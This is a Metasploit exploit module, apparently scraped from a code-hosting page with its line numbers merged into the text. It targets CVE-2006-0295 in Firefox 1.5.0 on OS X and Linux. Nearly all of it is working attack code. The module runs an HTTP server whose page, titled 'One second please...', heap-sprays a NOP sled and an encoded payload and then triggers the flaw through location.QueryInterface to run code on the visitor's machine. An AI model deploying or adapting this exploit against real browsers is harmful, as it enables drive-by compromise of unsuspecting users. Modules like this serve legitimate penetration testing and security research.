Path: blob/master/modules/exploits/multi/browser/firefox_queryinterface.rb
19515 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Firefox location.QueryInterface() Code Execution',18'Description' => %q{19This module exploits a code execution vulnerability in the Mozilla20Firefox browser. To reliably exploit this vulnerability, we need to fill21almost a gigabyte of memory with our nop sled and payload. This module has22been tested on OS X 10.3 with the stock Firefox 1.5.0 package.23},24'License' => MSF_LICENSE,25'Author' => ['hdm'],26'References' => [27['CVE', '2006-0295'],28['OSVDB', '22893'],29['BID', '16476'],30['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],31],32'Payload' => {33'Space' => 1000 + (rand(256).to_i * 4),34'BadChars' => "\x00",35},36'Platform' => %w{osx linux},37'Targets' => [38[39'Firefox 1.5.0.0 Mac OS X',40{41'Platform' => 'osx',42'Arch' => ARCH_PPC43}44],4546[47'Firefox 1.5.0.0 Linux',48{49'Platform' => 'linux',50'Arch' => ARCH_X86,51}52],53],54'DisclosureDate' => '2006-02-02',55'Notes' => {56'Reliability' => UNKNOWN_RELIABILITY,57'Stability' => UNKNOWN_STABILITY,58'SideEffects' => UNKNOWN_SIDE_EFFECTS59}60)61)62end6364def on_request_uri(cli, request)65# Re-generate the payload66return if ((p = regenerate_payload(cli)) == nil)6768print_status("Sending #{self.name}")69send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })70handler(cli)71end7273def generate_html(payload)74enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))75enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))7677return <<~EOF78<html>79<head>80<title>One second please...</title>81<script language="javascript">8283function BodyOnLoad() {84h = FillHeap();85location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));86};8788function FillHeap() {89// Filler90var m = "";91var h = "";92var a = 0;9394// Nop sled95for(a=0; a<(1024*256); a++)96m += unescape("#{enc_nops}");9798// Payload99m += unescape("#{enc_code}");100101// Repeat102for(a=0; a<1024; a++)103h += m;104105// Return106return h;107}108</script>109</head>110<body onload="BodyOnLoad()">111</body>112</html>113EOF114end115end116117118